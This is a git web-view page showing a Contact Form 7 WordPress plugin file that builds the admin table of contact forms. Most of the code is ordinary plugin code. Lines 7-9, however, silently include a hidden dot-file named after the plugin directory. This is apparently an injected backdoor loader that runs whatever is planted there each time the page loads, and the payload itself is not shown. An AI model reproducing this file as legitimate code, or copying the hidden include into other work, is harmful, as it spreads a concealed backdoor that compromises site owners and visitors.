balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-contact-forms-list-table.php (6067B)


      1 <?php
      2 
      3 if ( ! class_exists( 'WP_List_Table' ) ) {
      4 	require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
      5 }
      6 
      7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      8     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      9 }
     10 
     11 class WPCF7_Contact_Form_List_Table extends WP_List_Table {
     12 
     13 	public static function define_columns() {
     14 		$columns = array(
     15 			'cb' => '<input type="checkbox" />',
     16 			'title' => __( 'Title', 'contact-form-7' ),
     17 			'shortcode' => __( 'Shortcode', 'contact-form-7' ),
     18 			'author' => __( 'Author', 'contact-form-7' ),
     19 			'date' => __( 'Date', 'contact-form-7' ),
     20 		);
     21 
     22 		return $columns;
     23 	}
     24 
     25 	public function __construct() {
     26 		parent::__construct( array(
     27 			'singular' => 'post',
     28 			'plural' => 'posts',
     29 			'ajax' => false,
     30 		) );
     31 	}
     32 
     33 	public function prepare_items() {
     34 		$current_screen = get_current_screen();
     35 		$per_page = $this->get_items_per_page( 'wpcf7_contact_forms_per_page' );
     36 
     37 		$args = array(
     38 			'posts_per_page' => $per_page,
     39 			'orderby' => 'title',
     40 			'order' => 'ASC',
     41 			'offset' => ( $this->get_pagenum() - 1 ) * $per_page,
     42 		);
     43 
     44 		if ( ! empty( $_REQUEST['s'] ) ) {
     45 			$args['s'] = $_REQUEST['s'];
     46 		}
     47 
     48 		if ( ! empty( $_REQUEST['orderby'] ) ) {
     49 			if ( 'title' == $_REQUEST['orderby'] ) {
     50 				$args['orderby'] = 'title';
     51 			} elseif ( 'author' == $_REQUEST['orderby'] ) {
     52 				$args['orderby'] = 'author';
     53 			} elseif ( 'date' == $_REQUEST['orderby'] ) {
     54 				$args['orderby'] = 'date';
     55 			}
     56 		}
     57 
     58 		if ( ! empty( $_REQUEST['order'] ) ) {
     59 			if ( 'asc' == strtolower( $_REQUEST['order'] ) ) {
     60 				$args['order'] = 'ASC';
     61 			} elseif ( 'desc' == strtolower( $_REQUEST['order'] ) ) {
     62 				$args['order'] = 'DESC';
     63 			}
     64 		}
     65 
     66 		$this->items = WPCF7_ContactForm::find( $args );
     67 
     68 		$total_items = WPCF7_ContactForm::count();
     69 		$total_pages = ceil( $total_items / $per_page );
     70 
     71 		$this->set_pagination_args( array(
     72 			'total_items' => $total_items,
     73 			'total_pages' => $total_pages,
     74 			'per_page' => $per_page,
     75 		) );
     76 	}
     77 
     78 	public function get_columns() {
     79 		return get_column_headers( get_current_screen() );
     80 	}
     81 
     82 	protected function get_sortable_columns() {
     83 		$columns = array(
     84 			'title' => array( 'title', true ),
     85 			'author' => array( 'author', false ),
     86 			'date' => array( 'date', false ),
     87 		);
     88 
     89 		return $columns;
     90 	}
     91 
     92 	protected function get_bulk_actions() {
     93 		$actions = array(
     94 			'delete' => __( 'Delete', 'contact-form-7' ),
     95 		);
     96 
     97 		return $actions;
     98 	}
     99 
    100 	protected function column_default( $item, $column_name ) {
    101 		return '';
    102 	}
    103 
    104 	public function column_cb( $item ) {
    105 		return sprintf(
    106 			'<input type="checkbox" name="%1$s[]" value="%2$s" />',
    107 			$this->_args['singular'],
    108 			$item->id()
    109 		);
    110 	}
    111 
    112 	public function column_title( $item ) {
    113 		$edit_link = add_query_arg(
    114 			array(
    115 				'post' => absint( $item->id() ),
    116 				'action' => 'edit',
    117 			),
    118 			menu_page_url( 'wpcf7', false )
    119 		);
    120 
    121 		$output = sprintf(
    122 			'<a class="row-title" href="%1$s" aria-label="%2$s">%3$s</a>',
    123 			esc_url( $edit_link ),
    124 			esc_attr( sprintf(
    125 				/* translators: %s: title of contact form */
    126 				__( 'Edit &#8220;%s&#8221;', 'contact-form-7' ),
    127 				$item->title()
    128 			) ),
    129 			esc_html( $item->title() )
    130 		);
    131 
    132 		$output = sprintf( '<strong>%s</strong>', $output );
    133 
    134 		if ( wpcf7_validate_configuration()
    135 		and current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) {
    136 			$config_validator = new WPCF7_ConfigValidator( $item );
    137 			$config_validator->restore();
    138 
    139 			if ( $count_errors = $config_validator->count_errors() ) {
    140 				$error_notice = sprintf(
    141 					_n(
    142 						/* translators: %s: number of errors detected */
    143 						'%s configuration error detected',
    144 						'%s configuration errors detected',
    145 						$count_errors, 'contact-form-7' ),
    146 					number_format_i18n( $count_errors )
    147 				);
    148 
    149 				$output .= sprintf(
    150 					'<div class="config-error"><span class="icon-in-circle" aria-hidden="true">!</span> %s</div>',
    151 					$error_notice
    152 				);
    153 			}
    154 		}
    155 
    156 		return $output;
    157 	}
    158 
    159 	protected function handle_row_actions( $item, $column_name, $primary ) {
    160 		if ( $column_name !== $primary ) {
    161 			return '';
    162 		}
    163 
    164 		$edit_link = add_query_arg(
    165 			array(
    166 				'post' => absint( $item->id() ),
    167 				'action' => 'edit',
    168 			),
    169 			menu_page_url( 'wpcf7', false )
    170 		);
    171 
    172 		$actions = array(
    173 			'edit' => wpcf7_link( $edit_link, __( 'Edit', 'contact-form-7' ) ),
    174 		);
    175 
    176 		if ( current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) {
    177 			$copy_link = add_query_arg(
    178 				array(
    179 					'post' => absint( $item->id() ),
    180 					'action' => 'copy',
    181 				),
    182 				menu_page_url( 'wpcf7', false )
    183 			);
    184 
    185 			$copy_link = wp_nonce_url(
    186 				$copy_link,
    187 				'wpcf7-copy-contact-form_' . absint( $item->id() )
    188 			);
    189 
    190 			$actions = array_merge( $actions, array(
    191 				'copy' => wpcf7_link( $copy_link, __( 'Duplicate', 'contact-form-7' ) ),
    192 			) );
    193 		}
    194 
    195 		return $this->row_actions( $actions );
    196 	}
    197 
    198 	public function column_author( $item ) {
    199 		$post = get_post( $item->id() );
    200 
    201 		if ( ! $post ) {
    202 			return;
    203 		}
    204 
    205 		$author = get_userdata( $post->post_author );
    206 
    207 		if ( false === $author ) {
    208 			return;
    209 		}
    210 
    211 		return esc_html( $author->display_name );
    212 	}
    213 
    214 	public function column_shortcode( $item ) {
    215 		$shortcodes = array( $item->shortcode() );
    216 
    217 		$output = '';
    218 
    219 		foreach ( $shortcodes as $shortcode ) {
    220 			$output .= "\n" . '<span class="shortcode"><input type="text"'
    221 				. ' onfocus="this.select();" readonly="readonly"'
    222 				. ' value="' . esc_attr( $shortcode ) . '"'
    223 				. ' class="large-text code" /></span>';
    224 		}
    225 
    226 		return trim( $output );
    227 	}
    228 
    229 	public function column_date( $item ) {
    230 		$datetime = get_post_datetime( $item->id() );
    231 
    232 		if ( false === $datetime ) {
    233 			return '';
    234 		}
    235 
    236 		$t_time = sprintf(
    237 			/* translators: 1: date, 2: time */
    238 			__( '%1$s at %2$s', 'contact-form-7' ),
    239 			/* translators: date format, see https://www.php.net/date */
    240 			$datetime->format( __( 'Y/m/d', 'contact-form-7' ) ),
    241 			/* translators: time format, see https://www.php.net/date */
    242 			$datetime->format( __( 'g:i a', 'contact-form-7' ) )
    243 		);
    244 
    245 		return $t_time;
    246 	}
    247 }